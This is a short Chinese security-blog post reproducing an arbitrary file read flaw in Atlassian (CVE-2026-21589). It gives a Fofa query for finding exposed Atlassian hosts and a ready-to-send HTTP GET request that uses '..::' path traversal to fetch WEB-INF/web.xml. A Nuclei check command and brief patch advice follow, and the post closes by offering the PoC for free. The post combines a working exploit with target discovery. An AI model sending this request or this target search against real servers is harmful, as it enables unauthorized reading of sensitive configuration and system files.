漏洞复现｜Atlassian存在任意文件读取漏洞(CVE-2026-21589)

Poc复现

2026年10月14日 16:03
江苏

在小说阅读器读本章

去阅读

在公众号小说中沉浸阅读

免责声明

「此公众号所分享的网络安全知识、信息及工具皆来源互联网公开收集整理，仅供学习和研究使用，请勿用于非法测试活动。由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失，产生的一切后果由读者自行承担，皆与本公众号及文章作者无关、不负任何责任！！！」「如有内容侵权，请联系我们删除处理。谢谢合作！！！」

漏洞概述

Atlassian存在任意文件读取漏洞(CVE-2026-21589)，攻击者可进行读取系统内任意敏感信息。

影响范围

Atlassian

空间测绘

Fofa

title=\"Atlassian\" || body=\"Atlassian\"

漏洞复现

Poc

GET /download/resources/jira.webresources:color-picker-popup/images/..::..::..::..::..::WEB-INF::web.xml HTTP/1.1
Host:127.0.0.1

漏洞自查

Nuclei

nuclei.exe -u 目标URL -stats -silent -t atlassian-CVE-2026-21589-arbitrary-file-read.yaml

修复建议

• • 建议联系厂商打补丁或升级版本。
• • 增加Web应用防火墙防护。

poc免费获取